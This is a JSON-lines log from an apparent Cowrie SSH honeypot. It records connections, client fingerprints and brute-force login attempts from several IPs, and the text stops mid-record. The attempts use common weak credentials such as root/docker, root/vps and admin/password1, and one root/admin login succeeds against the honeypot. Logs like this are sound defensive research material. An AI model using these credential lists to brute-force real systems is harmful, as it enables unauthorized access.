{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:27.537176Z","src_ip":"101.96.201.126","session":"b2f5ce4176a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":16.43730616569519,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:28.259341Z","src_ip":"170.64.224.25","session":"018b058222ea","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"docker","message":"login attempt [root/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:29.194167Z","src_ip":"101.96.201.126","session":"b2f5ce4176a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:30.426197Z","src_ip":"101.96.201.126","session":"b2f5ce4176a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.96.201.126","src_port":60186,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b8449e5d58d","protocol":"ssh","message":"New connection: 101.96.201.126:60186 (10.17.0.5:22) [session: 3b8449e5d58d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:30.661774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:31.136074Z","src_ip":"101.96.201.126","session":"3b8449e5d58d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:31.139154Z","src_ip":"101.96.201.126","session":"3b8449e5d58d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.10","src_port":42138,"dst_ip":"10.17.0.5","dst_port":22,"session":"401041b4f674","protocol":"ssh","message":"New connection: 91.92.40.10:42138 (10.17.0.5:22) [session: 401041b4f674]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:31.962476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:32.021891Z","src_ip":"91.92.40.10","session":"401041b4f674","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vps","message":"login attempt [root/vps] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:32.075950Z","src_ip":"101.96.201.126","session":"3b8449e5d58d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:32.102848Z","src_ip":"91.92.40.10","session":"401041b4f674","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password1","message":"login attempt [admin/password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:32.828706Z","src_ip":"91.92.40.10","session":"401041b4f674","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:33.319479Z","src_ip":"101.96.201.126","session":"3b8449e5d58d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.96.201.126","src_port":60196,"dst_ip":"10.17.0.5","dst_port":22,"session":"888bca3a2113","protocol":"ssh","message":"New connection: 101.96.201.126:60196 (10.17.0.5:22) [session: 888bca3a2113]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:33.565393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:33.569127Z","src_ip":"101.96.201.126","session":"888bca3a2113","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:33.806321Z","src_ip":"101.96.201.126","session":"888bca3a2113","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:33.952051Z","src_ip":"91.92.40.10","session":"401041b4f674","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"host","message":"login attempt [root/host] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:34.861758Z","src_ip":"101.96.201.126","session":"888bca3a2113","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:36.110120Z","src_ip":"101.96.201.126","session":"888bca3a2113","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.96.201.126","src_port":60200,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffcaa4c42177","protocol":"ssh","message":"New connection: 101.96.201.126:60200 (10.17.0.5:22) [session: ffcaa4c42177]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:36.329948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:36.333495Z","src_ip":"101.96.201.126","session":"ffcaa4c42177","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:37.256071Z","src_ip":"101.96.201.126","session":"ffcaa4c42177","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www","message":"login attempt [root/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:37.951680Z","src_ip":"101.96.201.126","session":"ffcaa4c42177","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:39.185977Z","src_ip":"101.96.201.126","session":"ffcaa4c42177","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.96.201.126","src_port":33396,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7cac2dffd4e","protocol":"ssh","message":"New connection: 101.96.201.126:33396 (10.17.0.5:22) [session: b7cac2dffd4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:39.429109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:39.433071Z","src_ip":"101.96.201.126","session":"b7cac2dffd4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:39.675361Z","src_ip":"101.96.201.126","session":"b7cac2dffd4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"web","message":"login attempt [root/web] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:42.085732Z","src_ip":"101.96.201.126","session":"b7cac2dffd4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:43.322402Z","src_ip":"101.96.201.126","session":"b7cac2dffd4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.96.201.126","src_port":33404,"dst_ip":"10.17.0.5","dst_port":22,"session":"9eeda307f0dc","protocol":"ssh","message":"New connection: 101.96.201.126:33404 (10.17.0.5:22) [session: 9eeda307f0dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:43.572029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:43.581935Z","src_ip":"101.96.201.126","session":"9eeda307f0dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:43.830424Z","src_ip":"101.96.201.126","session":"9eeda307f0dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"default","message":"login attempt [root/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:44.581935Z","src_ip":"101.96.201.126","session":"9eeda307f0dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:45.831625Z","src_ip":"101.96.201.126","session":"9eeda307f0dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.96.201.126","src_port":33426,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd8e330e0249","protocol":"ssh","message":"New connection: 101.96.201.126:33426 (10.17.0.5:22) [session: bd8e330e0249]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:46.086934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:46.091614Z","src_ip":"101.96.201.126","session":"bd8e330e0249","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:46.344719Z","src_ip":"101.96.201.126","session":"bd8e330e0249","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"administrator","message":"login attempt [root/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:48.534267Z","src_ip":"101.96.201.126","session":"bd8e330e0249","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:49.787166Z","src_ip":"101.96.201.126","session":"bd8e330e0249","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.96.201.126","src_port":46956,"dst_ip":"10.17.0.5","dst_port":22,"session":"5601da1d0824","protocol":"ssh","message":"New connection: 101.96.201.126:46956 (10.17.0.5:22) [session: 5601da1d0824]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:51.012765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:51.472770Z","src_ip":"101.96.201.126","session":"5601da1d0824","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:51.475779Z","src_ip":"101.96.201.126","session":"5601da1d0824","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:52.393469Z","src_ip":"101.96.201.126","session":"5601da1d0824","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.94.92.98","src_port":46714,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8908e5300cd","protocol":"ssh","message":"New connection: 23.94.92.98:46714 (10.17.0.5:22) [session: d8908e5300cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:04:01.857538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:04:01.863073Z","src_ip":"23.94.92.98","session":"d8908e5300cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-